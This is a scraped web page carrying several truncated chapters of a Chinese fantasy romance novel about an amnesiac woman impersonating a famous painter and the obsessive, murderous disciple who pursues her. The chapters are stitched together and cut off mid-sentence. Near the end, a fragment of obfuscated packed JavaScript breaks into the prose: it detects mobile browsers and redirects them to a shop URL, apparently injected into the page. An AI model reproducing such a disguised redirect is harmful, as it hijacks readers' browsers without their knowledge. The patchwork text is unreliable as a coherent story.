《疯批逆徒又在装乖演我》 1. 画圣 《疯批逆徒又在装乖演我》全本免费阅读 绥安城中有个远近闻名的画馆,一女子在入馆处搭了副桌椅收费。据说里头正在办画圣的画展,路人便纷纷进去凑热闹。 书悦坐在门口,见挣得盆满钵满,忍不住笑,过会儿便跟着进去,随着人流在馆中巡视。见众人神色如常,暗自轻舒口气。 却闻见正厅忽传来一阵嘈杂声响,有一人扬声道:“这根本不是画圣作的画!” 她听得呼吸一顿,忙循声快步走向正厅。 画馆正厅装潢精致典雅,正中摆了一副巨大的琉璃冰柜,一幅尺寸远超寻常的画作平铺开来,静静卧在其中,气势恢宏,逸散的光华便是连这材质已属最上乘的琉璃柜都不及分毫。 边上还立了副牌子,写明这幅画作的绘成时间。 此时那琉璃柜四周正围了一圈人。 一个身着锦衣的青年男子正用手指着那琉璃柜,满脸义愤填膺。 周围人则面面相觑,不明所以。 看来,那锦衣青年便是方才说那句话的人了。 书悦无意识轻攥掩在袖中的手,另手却是利落一展折扇,微笑迎上前:“这位客人,何出此言?” 锦衣青年闻声看来,打量她片刻,不答反问:“你是谁?” 书悦摇着折扇微笑答道:“区区不才,这里展出的画,皆出自我之手。” 这便是说自己是画圣本人了。 此言一出,周围立时投来数十道目光。 那锦衣青年却不屑地冷哼了声,没再看她,而是将目光转向众人,扬声道:“各位,请听我一言。” 说着,他自怀中取出一幅挂画。手臂高举一振,挂画自半空舒展开来。 那竟也是一幅尺寸巨大的画,足有八尺长,表面流光溢彩,炫目夺人,惹得四下响起一片抽气声。 书悦也顺势看去,待看清那幅画后,掩在袖中的手一下攥紧。 那人接着道:“我家中早年有幸收藏了几幅画圣的画,这幅便是其中之一。我不敢说对画圣的画研究透彻,但与常人相比,也算知晓一二。各位请看这处。” 他说着伸手指向那幅挂画的某处,续道: “众所周知,如画圣这般技艺成熟精湛的画师,他们对同一事物的见解无论相同与否,各自对其的描绘手法一定有所差别。但,同一位画师在短时间内对同一事物的描绘手法,绝无可能天差地别。 “据我所知,我手中这幅《千里江山》与琉璃柜中展出的这幅《江山入座》,二者绘成时间相差不足一月,两幅画作的内容也有重合部分,缘何《江山入座》中,此处的画法与我这幅的相比,差别如此之大?” “诶,好像是这样啊……” “要真照他这么说,那这几幅画的时间不也差不多么?你看,这画的是不是也不一样?” “啊?怎、怎么会这样?难道……” 众人反复对比,竟发现果真如此。 甚至还有人在别处发现,摆在一起展出、标注着完成日期相近的几幅画作,对同一细节的描绘手法竟也不同。 一时间,众人窃窃私语的声音充斥厅内,周遭锐利的视线有意无意投向书悦,刺得她身体紧绷。 那人看向书悦,唇角微勾,讥讽道:“这位姑娘,你方才说这儿的画作都出自你之手?呵,不过是仿画几幅罢了,真拿自己当画圣,还收上钱了?” 闻言,书悦银牙紧咬,折扇都摇不动了,紧紧攥在手中。 ……如对方所说,她确实不是画圣。但,准确来说,她不知道自己是谁,她失忆了。 她只知自己从一片荒地中醒来,手里紧攥着一把青玉狼毫笔,上面染了血,还有些许磕碰痕迹。 艰难生存一段时日后,她总算进了这座规模较大的城镇。 月上画馆的人认出她手中的笔,尊称她为“画圣”,请她到馆中作画,还答应付给她极丰厚的报酬。 她身无分文,还受了伤,为了活命只得硬着头皮应了。 但她什么也不记得,哪里会作画? 奇怪之处来了—— 只要她握住那根笔,身体便自发动了。等她再回过神时,一幅画已然画好,竟与那画圣的画作相差无几。 从那之后,她便以“画圣”的名号生存。 未想到,竟在此时被人认出来。 心中慌乱,但她面上不显,仍镇定反驳道:“那你且说说,画圣技艺这般高超,几乎无人能比,这展中所有画作,除了画圣本人,还有谁人画得出?” “呵。”那人嗤笑了声,“那你先回答我,你摆在这的《江山入座》若果真是画圣本人的画,画法缘何与我手中这幅不同?” 书悦面色微白,掩在袖中的手指攥得掌心深陷,心虚道:“……原作丢了,重画而已。有何不可?” “你说丢了?”那人眉峰微挑,故作惊讶,随手点了身边几人,“诶,你知道这幅《江山入座》丢了吗?你知道吗?那你呢?” 他手指点过去的几人纷纷摇头,遂一摊手,无辜道:“你看,没人知道《江山入座》丢了,这只是你的一面之词。再说,若果真重画,何不大大方方告知各位你重画了一幅,而是依然为其标注成原作的绘成时间呢?” 说到此处,他略微拔高音量:“姑娘此举,恐怕是为了防止有心人看出,这展中有些画是赝品吧?不知你到底如何画的这些,但,你绝不是画圣。” “什么,她不是画圣!” “骗子!退钱!” 那人说罢,众人立时转头看向书悦,群情激愤,高喊着要她退钱。 “不,不是,我没有……” 书悦下意识摆手否认,但她的辩驳苍白无力,无人听信,一时被众人逼得步步向后,不由瞟向门口,准备开溜。 未想有人实在激动,竟要出手伤她! 眼见那只手就要抓上来,书悦睁大双眼,未及反应,旁侧忽伸来一条手臂将那人挡开。 空气中随即落下一道温润嗓音:“且慢。” 她循声看去,却见身侧不知何时站了个高大男子。 “各位,稍安勿躁,在下有不同看法。” 未等她看清对方是何模样,那人便踏前一步,严严实实将她护在身后。白衣墨发,身姿挺拔颀长。 嗓音清润如泉水击石,却隐含威压,逼得近前的人群退后几步,嘈杂的厅内瞬息间针落可闻。 男子向众人略一拱手,才抬眸看向厅内正中方才指责书悦的人,一副彬彬有礼的模样,温声问:“敢问阁下近来与画圣可有联系?是否见过画圣本人?” “你问这个做什么?” 对方不解蹙眉,眼神有意无意瞟向人群,沉默了会儿才答:“我未曾见过画圣,只在早年有过书信往来。” “好。”男子微微颔首,随即目光转向众人,“那诸位可知,画圣为何被尊为‘画圣’?” 众人交头接耳,无人大声回应。 “在下也有幸曾得画 2. 傀儡 《疯批逆徒又在装乖演我》全本免费阅读 身后响起一道低沉嗓音,清泠如雪,语气锋锐,却熟悉得叫书悦猛然睁大双目。 ——掐着她脖颈的,不是别人,正是在画馆中替她说话的那位! 她确实听闻那画圣有个徒弟,唤作于千星。 但她冒充画圣以来从未与对方见过面,时日一长她便放松警惕,竟将这茬忘了! 原来她早就暴露,只是对方替她隐瞒罢了,并且以为她伤了真正的画圣,还偷了人家的画笔和画作,所以现在找她算账来了! 书悦心虚,面上却挣扎着,装傻道:“我不知道你在说什么,放开我!” “不知道?呵。”身后人冷笑一声,猛然加重力道,仿佛当真要捏断她的脖子,“你也想和他一样?” “……” 书悦立即想到那还躺在院中的尸体,不由浑身一抖。 可未等她再说什么,对方忽然松手,转而按住她的肩膀,迫使她翻过身,脊背抵在院门上,与人面对面。 紧接着,有数道无形丝线缠缚住她的身体,迫使她的双手双脚都并拢,深深勒进皮肉,令她动弹不得。 而下颌也被无形力量扣住猛地往上一抬,迫使她昂起头与人对视。 入目是一张美极艳极的脸,秾丽妖冶,深邃如刻,倒与在画馆中表现出的温润模样截然不同。 而在她打量对方的同时,对方似乎也在端详她,眉心逐渐皱起,双眸黑沉。 于千星紧盯着书悦的脖颈,眉头越蹙越深。 他方才掐住对方后颈时便觉不太对劲。 手感太硬,像是握住一截木头,虽覆了层柔软的皮肉,却薄得一按便触底。 他加重力道时,那皮肉虽是出现青紫,他也能感觉到那截“木头”被他捏得有些变形。 可对方依然能够正常呼吸,面上也只是害怕,并未露出痛苦之色,反应实在不似常人。 “你要干什么!” 见人直勾勾盯着自己,书悦不适蹙眉,下一刻便见对方伸手摸她的脸,不由惊声呵斥:“滚开!别碰我!” 但对方我行我素,指腹沿着她的脸颊轮廓细细摩挲,从额角摸到耳鬓,再到下颌。 动作不轻不重,触感温热粗砺,尾指轻划过脖颈时激起一阵触电般的痒。 激得她浑身轻颤,不由挣扎着往后缩:“摸够了没有!放开我!” 对方不语,等细细摸了两圈才放开手,双眉蹙紧,眸色愈发幽深,不知在想什么。 接着,院外忽传来一阵脚步声,似乎有人在向这处靠近。 书悦心头一喜,忙要张口呼救,对方却先一步撤离,身影如云雾般消散,束缚她的丝线也随之断裂。 恢复行动自如,她这才舒口气,又瞥见那躺在地上的尸体,忙将院门闩上,还下了禁制,壮着胆子又走上前。 她将那人翻过面,待看清具体情形时,不由瞳孔骤缩。 那死者正是在画馆中当众指出她不是画圣的人。 胸口破了个大洞,血液汩汩流出,将衣襟浸润得湿透。双目被残忍剜去,徒留两个窟窿,血污糊了满脸。 双手均被斩下,断面齐整,与两颗眼珠一起浸在血泊之中,又被掩藏在身体之下,她适才没有第一时间发现。 眼前画面实在血腥残忍,书悦只觉腹部一阵翻江倒海,捂着喉咙连连干呕,吐了好一阵酸水才勉强冷静下来。 接着取出一张画纸平铺在地,蹲身画了个巨大土坑,又强忍恶心,双手抓着那尸体的两只脚,将其拖到画纸上,随即掐诀念咒。 整幅画纸随之亮起一道灵光,眨眼间,书悦连同尸体都凭空消失,那画中的土坑边上却多了几笔墨痕。 原来是入了画。 她将尸体带入画中境埋了,又掐诀将命案现场清理干净,把画纸卷起来放到屋里,准备日后寻个恰当时机把人埋外面去。 她不知于千星为何要杀这个人,只知真凶已然落跑,若是被人发现这具尸体,将她当作凶手,再以讹传讹,后果不堪设想,只能先这样处理。 才堪堪弄完,门外立即响起敲门声,有人说了一串什么。 她深深吸气,强迫自己凝神细听,发现对方只是要来买画,心神微松,理好仪容上前开门。 * 送走客人之后,书悦早早就寝,却因白日受了惊吓,睡不安生,一直翻来覆去。 一会儿梦见那被剜了双眼的男人化成厉鬼来向她索命,一会儿又梦见那画圣的徒弟掐着她的后颈把她按在门上,掐得她快要窒息。 等她惊叫着从榻上翻身坐起,大口喘息,眼角余光却瞥见床侧的墙上投着两道人影。 周遭万籁俱寂,似乎只有她自己剧烈的心跳声与急促的呼吸声。 可细听之下,她发现两者中还夹杂着另一道气息。 她立时僵住身体,咽了口唾沫,缓缓侧头看去。 见其中一个影子与她同时动作,跟随她侧头,另一个影子却许久没有动静,便安慰自己大概是看错了。 她微舒口气,正要转回头,却见另一个影子在她的眼皮子底下动了,与此同时,身后果真传来细微的足音。 下一瞬,那影子便与她的重叠在一起! 她惊恐地瞪大眼,未及反应,侧颈忽然一痛,旋即便失去了意识。 * “哈哈哈,哈哈哈……” 书悦是被一阵女子笑声吵醒的。 她睁开眼只觉头晕目眩,周遭又一片昏暗,好一会儿才缓过劲,掐诀点燃灵火照明,起身环顾四周。 却发觉自己正处在一个洞穴之中,身周围了一圈又一圈人,不由一怔,试探问:“你、你们是谁?” 但回应她的只有女子笑声,机械重复,毫无情绪起伏。即便嗓音清脆婉转,也叫人毛骨悚然。 书悦蹙眉,试探着举步凑近。 却发现这些人虽姿态各异,但都保持静止,各自盯着一个方向,眼也不眨,宛若人偶。在灵火无法照耀到的暗处也是黑压压一片人影。 而那笑声却不知是从谁嘴里发出,不停在洞穴中萦绕,辨不清来源,愈发叫人脊背发寒。 书悦喉头轻滚,壮着胆子凑近人偶,一个个看过去。 却发现这些人偶俱是女子,神色虽各有不同,但不难看出其实都是同一张脸。 直到她走近了一处山壁,上头挂着的一面清亮水镜,同时照出人偶女子与书悦的身影。 两者皆着白衣,身形同样秀美高挑,相貌亦是相同,都生得乌发雪肤,清妍姝丽,连眼尾一颗殷红小痣都如出一辙。 书悦见状不由瞳孔骤缩,全身发抖,脚后跟下意识往后挪动。 忽闻远处传来一阵水珠溅落的声响,而后是一阵不明物体在地面爬行的细微摩擦声,由远及近,声音也逐渐清晰。 寒气似乎随之漫了过来,指尖悬停的灵火不住跳跃摇摆,时明时暗。 几息间,那窸窣声便近在咫尺,继而猝然消失。 她的灵火也瞬间熄灭,周遭立即又陷入一片昏暗,万籁俱 3. 发疯 《疯批逆徒又在装乖演我》全本免费阅读 “放开我!我不是你师父!” 书悦怕得浑身发抖,不住挣扎,却被对方牢牢锢住,只好说出真相:“你白日杀的那个人,他说对了,我真不是你师父!那支笔是我捡到的,我根本不会画画!你认错——” “不可能!” 她话未说完,对方便低吼着打断,神色癫狂,攥着她肩膀的手用力到发颤,“我不会认错!生花笔也不会认错!除了你,没人能用师父的笔!” “我都说了!——” 书悦气急,不愿与人多争辩,只拼命挣扎。但实力差距悬殊,她根本挣不开。 “对了。”于千星面色恢复平静,双眸却闪过猩红的凶光,“他说,师父曾与他有过书信往来,还赠了他好几幅画。” “别这样看我!”那双眼实在太瘆人,书悦忍不住避开目光,“又不是我做的,我根本不认识他!” “可是我从他身上搜出来的画,确实都是师父作的。那几幅画,我之前从未见过,师父为什么要送他?” 对方微微歪过头,状似疑惑不解,一副无辜的模样,嗓音都变得柔和。 见她不答,对方又自顾微笑着续道:“所以我将他杀了。他看过师父的画,我便剜了他的眼睛,他给师父写过信,我便斩下他的手……” 说话间,对方神色变得阴狠,眸中血光大盛。 一瞬后却又换了副表情,状似无辜,又隐含些讨好夸耀,矮身与她平视,双手搂住她的腰,软声问:“师父你说,徒儿做得对吗?” “滚开!” 对方变脸比翻书还快,嘴上向她撒娇,尾巴却紧缠着她的腿,甚至顺着攀缘向上。 书悦动弹不得,被迫与那双血瞳对视,半晌后无奈妥协道:“……是,你做得对。” 看于千星这幅样子显然早已入魔,此时濒临爆发,不知届时会做出什么事来,倒不如先将人哄—— 她还未想好计策,话音落下的瞬间,对方猛地收拢双臂将她拥住,头颅埋进她的颈窝。甚至亲昵地偏头用脸颊蹭她,传来温凉细腻的触感。 “别碰我!” 书悦下意识挣扎,对方却不依不饶,双臂将她拥得更紧,埋头在她颈窝里深嗅,嘴里小声喊着“师父”。 温热气流回旋着打在肌肤上,激起一阵触电般的痒。她憋了又憋,又抬手想把人推开。 却有液体猛地砸在肩上,湿热晕开之后唯余冰凉,但很快又有一滴落了下来。耳畔也传来一声细小低哑的呜咽。 “你……” 她不由僵住,要把人推开的手悬在空中,在感到肩上淋下一阵温热的雨之后,终于缓慢垂落。 到底是保住了性命,罢了。 * 书悦再醒来时是在自己屋里。 她猛地坐起,急忙掀被下榻,却在双脚踩上地面时忽然僵住,不知自己方才急着要去做什么。 回忆半晌仍没有答案,只觉脑中一片朦胧,索性先行更衣洗漱,依凭直觉翻动柜子。 可她不知自己要找什么,也丝毫没有注意,昨日她藏在柜里的,埋了尸身的那幅画不见了。 正翻箱倒柜间,院外忽响起一阵敲门声,她便起身去开了门。 却见门外站着个陌生的中年男子,衣着华贵,形容有些憔悴。身后还跟着些随从,合力挑着几个大红木箱子,阵仗不小。 书悦扫了眼,看向为首的人:“这是做什么?” 那中年男子见到她时双目一亮,忙迎上来躬身作揖:“画圣。” 接着又让了些位置,指向身后那些箱子,道:“画圣,您昨日答应要为鄙人做一幅画,鄙人今日便——” “慢着。”书悦蹙眉打断,“昨日,我们见过?” “啊,这?鄙人姓赵,赵良平,画圣不记得吗?昨日下午,鄙人登门拜访过的。” 那人一怔,说完后很快反应过来,嘿嘿一笑,搓手谄媚道:“画圣不必担心,这只是定金罢了,事成之后的酬劳包您满意。” 对方模样不似说谎,但书悦实在不记得,直觉情况有异,又不便叫人看出。 见对方会错意,她索性将计就计,一展折扇,微笑颔首道:“好,那就先抬进来吧。” 她说着便让出位置,赵良平神色一喜,忙招呼随从将箱子都抬进她院里。 对方任她检查箱子里的东西,又问:“画圣,不知您何时能画完呢?” “嗯?很着急么?”书悦检查完,满意地邀人入座,亲自给人斟茶,“这得看你是什么要求了。” “哈哈,画圣真爱说笑,鄙人怎敢向画圣提要求呢?”对方连忙摆手赔笑,“说来惭愧,鄙人于此道一窍不通,不过是听闻画圣之作蕴含神力,便想讨一幅挂在家中,保我妻儿老小平安罢了。” “蕴含神力?”书悦有些心虚,面上却装作谦逊的模样,连连摆手,“市井传言罢了。我尚未得道成仙,我的画没有这般大的作用。” “画圣勿要妄自菲薄,尽管画了便是。若画圣三日之内能画完,鄙人再追加一倍酬劳如何?” 书悦闻言眉峰一挑,假装沉吟,暗中打量对面。 却见细看之下,对方不仅是单纯的形容憔悴,眉宇间还若有若无萦绕着一股黑气。 并且,此人分明是个彻头彻尾的凡人,身上却有一股灵力波动,但不够纯粹,也很微弱。 她思忖着,对方见她不答,手指一攥,急忙道:“那,那,三倍?” “成交!”书悦见对方又会错意,只觉好笑,但也不解释纠正,“既然大人求画是为保家中平安,那我便根据大人家中情况作画吧,效果会更好,还请大人带我去府上看看。” “这……”对方一怔,思忖了会儿才点头,躬身做请,“好、好吧,画圣,这边请。” 书悦当即跟上。 这人非富即贵,重金求画只为保平安,想来是家中有人被邪祟缠上,情况危急。 若果真如此,应当请些精于此道的修士上门解决才是,缘何找到她这来? 但既然已收下定金,她也有些好奇,去看看无妨。 * 书悦才想着完成这份委托可能会有些麻烦,未想麻烦竟来得这般快。 他们乘坐马车一路去往城郊,在经过一片竹林时竟遇上刺客。 马儿尽数被毒箭射杀,赵良平带的几名随从都是修 4. 蓄意 《疯批逆徒又在装乖演我》全本免费阅读 书悦看这背影,一下想起在画馆中替她说话的那人。 上回还未道谢,没成想这么快人家又救了她一次。 她好奇转眸看向方才直坠而下,落在她身前的巨大剑影。但未等她看个仔细,那巨剑便如烟消散。 而那帮刺客受了这一击,竟当场气绝身亡。 唯独偷袭她的那个刺客还活着,只是被磅礴剑意逼退到数十丈之外,此时单膝点地,唇角缓慢滑下一缕殷红。 看来此人是故意隐藏了修为,实际境界比书悦高上不少。 他伸手扶正面具,蹙眉问:“二位,此事与你们无关,为何非要插手?” “这还用问?拿人钱财,替人消灾。你不也是吗?” 脱离危险,书悦放松神经,狐假虎威地又展开折扇轻摇。 “谁说的?” 那人立即反驳,又来回打量书悦,随后冷笑一声,嘲讽道: “我当是谁,原来是大名鼎鼎的画圣。‘拿人钱财,替人消灾’,听听,画圣竟说得出这种话!什么‘为世人作画’?呵,说得好听,我看呐,不过是挣取声名的幌子而已,谁知道你的画作是不是——” 于千星面色陡沉,眸中闪过猩红凶光,一道细长的流光剑影从指尖电射而出。 感觉到逼人杀意,那名刺客本能侧过头。 却见那道剑影恰擦着他的脸侧飞过去,连续洞穿了他身后的一列竹子,到数十丈之外仍势头不减,却在继续往前的途中忽然凭空消失。 “你!” 面具崩碎,血液流出,那人忙抬手挡住脸,不再废话,当即遁走。 书悦见事态稳住,轻舒口气,转头看向于千星,恰见对方眸中闪过一道血光。 但血光只出现一瞬,再定睛细看时,只见那双眼瞳黑白分明,澄净剔透,便当是自己看错,躬身作揖道:“多谢大侠出手相助,不知如何称呼?” “在下于千星。举手之劳,不足挂齿,画圣直呼在下名姓便可。” 对方躬身回礼,神色温和,一副温润君子的模样,忽然正色续道:“画圣的品行为人有目共睹,方才那人所说,画圣千万不可放在心上。” 闻言书悦不由一怔,随即摆手微笑道:“我知道的,多谢于兄宽慰。” “于千星”这个名字她好像听过,脑中朦胧闪过些画面,光怪陆离,看不清。 说话间,另一边的赵良平终于回过神来,连滚带爬过来道谢。 书悦用折扇阻住对方下跪,笑眯眯问:“大人方才是丢了什么东西,竟连性命都不要了?” “呃……”赵良平面露难色,忙躬身请罪,“画、画圣有所不知,鄙人丢的是传家之宝,若是丢了,鄙人也该下去跟祖宗磕头谢罪了——” “好,打住,第二个问题。”书悦握着扇柄轻敲了下掌心,“大人觉得,那些刺客为何而来?” “这、这……” 赵良平面色发白,头颅压得更低,支支吾吾半晌才含糊其辞道:“许、许是他们看上鄙人的钱财,因此连累了画圣,鄙人实在对不住……” “罢了。天色不早,还是快些赶路吧。” 见赵良平执意隐瞒,书悦便不再多问,打定主意届时自行摸索。 旁侧的于千星道:“那帮刺客或许会卷土重来,不可掉以轻心。二位若不嫌弃,便让在下陪同吧。” “好、好!多谢仙长相助!” 书悦还未说话,赵良平便抢先答应,见状也只好跟着点头道一声“有劳”。 赵良平正要招呼随从继续赶路,却见马匹俱被毒杀,马车也在打斗中四分五裂,又回身看向书悦,搓着手道:“画、画圣,此去路途遥远,你看咱们……” “稍等。” 书悦会意,当即取纸召笔,对照着原样画了几辆马车。 画纸闪过一阵灵光之后,与先前相差无几的几匹马便自发拉着车厢从画中飞奔而出,在空中绕了一周,嘶叫着稳稳落在几人身侧。 “妙!太妙了!不愧是画圣!” 赵良平从未见过画中物竟能具现为实物,不由连连赞叹。 书悦正要搁笔,抬头一看还多了个于千星,便要再画一幅。 对方却抢先制止道:“画圣不必麻烦,这几辆马车足矣。” “也行。” 书悦没有异议,当即上了一辆马车。 未等片刻,车帘再次掀开,却是于千星探身钻入车厢,与她相对而坐。 见她疑惑看去,对方歉然解释道:“抱歉,最后一辆马车已坐满,在下无意冒犯,实属无奈之举。若是画圣介意——” “不必。”书悦摇头,“请坐吧。” “多谢。” 马车很快行驶起来,窗帘被风吹动,露出外头一片苍翠之景,书悦被吸引目光,不由转头看向窗外。 却听对面又开口道:“在下方才见画圣的笔似乎有些磨损,不知画圣可愿将画笔借给在下一看?” “嗯?于兄还会修笔?”书悦闻言眉峰一挑,转头看去,“你也修画道么?” “非也。” 对方摇头失笑,不知想起什么,眸光如水潋滟,温声续道:“在下偶然得幸见过画圣的作品,惊为天人,自那之后便萌生兴趣,学了些皮毛。布鼓雷门,见笑了。” “怎会?” 一提到真画圣的事,书悦便有些心虚,面上却泰然自若地笑笑,干脆利落召出画笔给人递了过去。 于千星双手接过,正放到眼前端详。 忽闻见脑中传来一句暴躁的少年音:“我讨厌你,别用你的脏手碰我!给我放开!” 他不由一怔,下意识抬眸看向对面。 却见书悦将笔递给他之后又转眸看向窗外,似是察觉他的目光,又疑惑看来,问:“怎么?” 见人对方才那个声音毫无反应,仿佛没听见似的,他不由舒口气,轻轻摇头,回道:“在下只是觉得,画圣当真爱惜这支笔。” “毕竟是吃饭的家伙。”对方失笑,随口应了一句便又回头不看他。 于千星眸色微暗,面上专注检查,手指却不动声色地用力攥紧画笔,用神识回答方才那句:“这我可没有办法,是师父亲手将你送到我手里的,我不可能拒绝师父。” “我呸!难道不是你提出的?我就是烂了,碎了,也不要你给我修!” 那少年音啐了声,义愤填膺续道:“我可看见了,你方才是直接上了这辆马车,看都没看别处一眼。那几个随从都没坐马车,怎么可能坐满? 5. 鬼女 《疯批逆徒又在装乖演我》全本免费阅读 “不知于兄现下可有空暇,能否陪我走走?” 书悦站着没动,目光落在远处的树丛。 话音方落,身后人便立即应声:“好,请画圣稍等。”随后便传来一阵窸窣声响。 书悦轻应了声“嗯”,便站在人家门口等。 等了片刻她忽然反应过来,忙又补充解释道:“我怀疑这赵良平家里藏了些不干净的东西,想必于兄也有所察觉。左右无事,不若结伴探个究竟?” 她本想自己去,但于千星白日露的那一手,着实令她眼馋。而且对方帮她几次,应该不是坏人。 “……好。” 风中隐约传来一声叹息,几不可闻。 过会儿对方便穿戴整齐从屋里出来,还应景地换了身夜行衣:“久等。” 书悦闻声回头,恰见远处的树梢间掠过一抹黑影。 她与对方相视一眼,道一声“走”便率先追了上去。 两人追随着那抹黑影在屋顶上疾驰,直往庄园深处去。 但那抹黑影似是察觉自己被人跟踪,身影几个起落间便隐没在夜色深处,竟是将他们甩开了。 两人追到黑影最后出现的地方,落地之后环顾四周,才知白日赵良平并未带他们来过此处。 此地位于庄园深处,空气比别处更为潮湿粘稠,阴风阵阵,叫人脊背发寒。 四下一片凄清昏暗,远处黑气冲天,婆娑树影投在高大院墙上,迎风颤动的枝丫仿佛招人的鬼手,惊得虫鸣都消弭。 却有一阵女子哭泣声于万籁俱寂中响起,声音模糊,若有若无。 “过去看看?” 书悦凝神细听,辨出大致方向后,回头看了于千星一眼便率先往前。 “画圣当心些。”于千星忍不住轻声提醒,紧随其后。 两人循着那哭声向前,穿过一道回廊与庭院,直到站在一间卧房之外。 那哭声果然变得清晰,近得仿佛只有一墙之隔。 见屋门紧闭,书悦便绕着卧房走了一圈,果真发现一扇半阖着的窗户,露出条二指宽的缝隙,便小心翼翼凑上前,屏息朝里看去。 屋里并未点灯,如水月光渗过薄透纸窗照进屋内,能借势看清大致轮廓。 却见一女子披头散发坐于梳妆镜前,手执一柄木梳自上往下不停梳着头发。动作间嘴里还念念有词,声音微弱低哑,叫人难以分辨,隐含泣音。 与赵良平一样,那女子也是个彻头彻尾的凡人,身上同时缠绕着灵气与魔气,但浓郁紊乱许多。 书悦观察着,又仔细听了半晌,才知那女子哭的是:“我好痛啊……” 是生了病?还是受了伤? 她下意识调整姿势,试图看得更仔细些,视线穿过那名女子不断抬起落下的手臂,落到那面铜镜上。 却见铜镜里,那名女子的脸庞被乌发完全挡住,什么也看不见。 过了会儿,对方似是察觉有人偷窥,陡然停住动作,随后竟向着书悦所在的方向缓缓偏过头。 身体未动,头颅转到生理极限的角度,仍向后一点点偏转,发出骨头摩擦碰撞的咔咔声响。 直到正对她,脖颈已然完全向后偏转,扭曲得超乎常理。 紧接着,对方从袖中伸出两只惨白瘦削的手,同时向两侧拨开遮挡脸庞的乌发,笑声问:“官人,奴家美吗?” 露出来的那张脸苍白消瘦,面色狰狞,双眼瞳仁竟缩小到只有中心一点,模样相当诡异可怖。 “她发现了!” 书悦猝不及防与之对视,不由悚然一惊,下意识后仰上身避开,却直撞入身后人的怀中,两只温热手掌轻按在她的肩头。 她话音方落,面前的窗户猛然向外撞开,发出“砰”的一声巨响。 原是那名女子竟起身追到窗边,向外伸长手臂朝着书悦抓来! “呃啊!——” 未等书悦反应,于千星立即挡在她身前,随手射出一道流光剑影,瞬间洞穿了那名女子的手掌,鲜血如注。 那女子惨叫着用另手捧住,过会儿又猛扑上来,撞得窗栏砰响。接着似乎想要从里头爬出来,爬至一半,身体莫名倒飞回去。 她不甘地疯狂撞着窗栏,每每试图爬出来,都被一股无形力量阻住,猛地被弹了回去。 最后终于筋疲力尽,扒在窗缘,疯狂向外伸长手臂,不停挥舞,五指抓握着虚空,厉声咆哮道:“贱人!放我出去!快放我出去!” “慢着。” 见于千星又要出招,书悦赶忙按住对方的手,牵着人往后退了几步,续道:“你看她,她是不是出不来?” “……嗯。”身边人轻轻应了声。 “赵良平向我求画只为保家人平安,而我们白日都未见过他的家人,你说,她会不会是……” 书悦思忖着自言自语,竟忘记自己还牵着于千星的手。 直到感觉手心莫名逐渐热烫,还有些湿润黏腻,顺势低头瞧见才反应过来,猛然松开,连连摆手尴尬道:“抱歉抱歉,一时忘了,无意冒犯,于兄千万别误会。” 说着她又抬头看了眼天色,状似惊讶地道:“呀,都这般晚了,要不今夜就到这儿,咱们先回去歇息吧。” “……好。我送你回去。” 于千星颔首低声应了句,嗓音微哑。 掩在袖中的手轻轻攥起,指腹碰在一处来回细细摩挲,反复回味触感。 * 次日,书悦准备了几幅草稿,先与于千星碰了面,又一起去找赵良平,问他喜欢哪幅。 赵良平来回比对,搓着下颌沉吟半晌仍拿不准主意,为难道:“画圣技艺高超,这几幅各有千秋,鄙人实在难以抉择啊。” “大人谬赞。”书悦微笑自谦一句,展扇轻摇,“说起来,我还未见过令夫人。若是赵大人实在拿不准主意,不如去问问令夫人的意见?对我也是个参考。” 赵良平神色肉眼可见地僵住,顿了会儿才回道:“实不相瞒,拙荆前不久才染了风寒,如今卧病在床,恐过了病气给画圣。” 书悦摆手道:“修道者体质不似凡人,赵大人大可放心。” 默默品茗的于千星也放下茶杯,补了句:“在下略懂些岐黄之术,可为令夫人诊治。” “这、这……好吧,请二位随我来。” 话已说到这份上,赵良平再想推脱也难,只得应下,领他们去看望夫人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903661|135606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景谈心的好去处。 “……”于千星指尖微蜷,面上却不置可否,保持沉默。 书悦转眸看向对方,故意道:“你再不说话,我们就回去了?” “去。” 她说着便作势转身往回走,下一刻,手腕立即被人攥在手里,将她锢在原地。 书悦摇头失笑,挣了两下,没把自己的手抢救出来,只好放任,由对方牵着往湖心亭去。 他们踩着红木浮桥往前,仿佛逐渐远离尘世喧嚣,耳边唯余风动、浪响与蛙声。 攥在腕上的手不知不觉间滑落,将她的手指与掌心包拢,传来温热触感。 掌心交叠处似是发了汗,渐渐变得黏腻,令人不适,连心跳都变得浮躁,才褪去的暑气好像又蒸了上来。 书悦莫名感觉到燥热,有意逃避这种气氛,恰巧湖心亭已至,便借势甩开对方的手,佯装兴奋的模样张开双臂小跑进去,猛地扑在那石桌边往凳上一坐,又将脸贴上石桌纳凉。 她趴在石桌上,眼前忽压下一片阴影。原来是于千星坐到她身边,即便只有半身,仍足够将她的身形完全笼罩。 她的视线顺着那片宽阔胸膛往上,掠过脖颈、下颌,直望入一双黑沉的眸中。似深渊,似幽潭,将情绪尽数淹没,惹人探究,又令人畏惧。 “于千星,你是不是不高兴?”她忍不住直起身来,盯着对方的眼睛又问一遍。 于千星面无表情,沉默地与她对视。片刻忽然微微勾唇,却应道:“是。” 对方这般干脆倒令书悦意外,也更加无措,下意识问:“为什么?” 为什么? 于千星垂下头,视线恰落在书悦的裙摆。 她今日穿了一身淡青色的纱裙,裙摆绣着青竹暗纹,银线滚边,清丽而出尘。却因要为一个莫名其妙的人画花灯,裙摆垂在地上,沾了些许污泥。 他不悦眯眼,还未及做什么,忽觉一股恬静幽香沁入鼻中,令他一怔。 下意识抬眸,却见那张朝思暮想的脸在眼前放大,两池清澈秋水倒映出他的身影,眼尾那颗殷红小痣在月夜下绽出动人姝色。 他不由自主发怔,只觉那轻眨的睫羽似在他心口挠动,已褪去的暑气在这时卷土重来,燥得他喉咙发痒,下意识地吞咽。 “为什么不高兴?” 对方又问他,他却只看见那两瓣樱唇轻轻翕动,说的什么一概不知。 直到视野忽然一花,一只纤长白皙的手在他面前轻轻挥动,阻住视线,他才勉强回过神。 “好吧,不说算了。” 书悦问了两遍,见于千星不肯回答也只好作罢,便要直起身退开去。 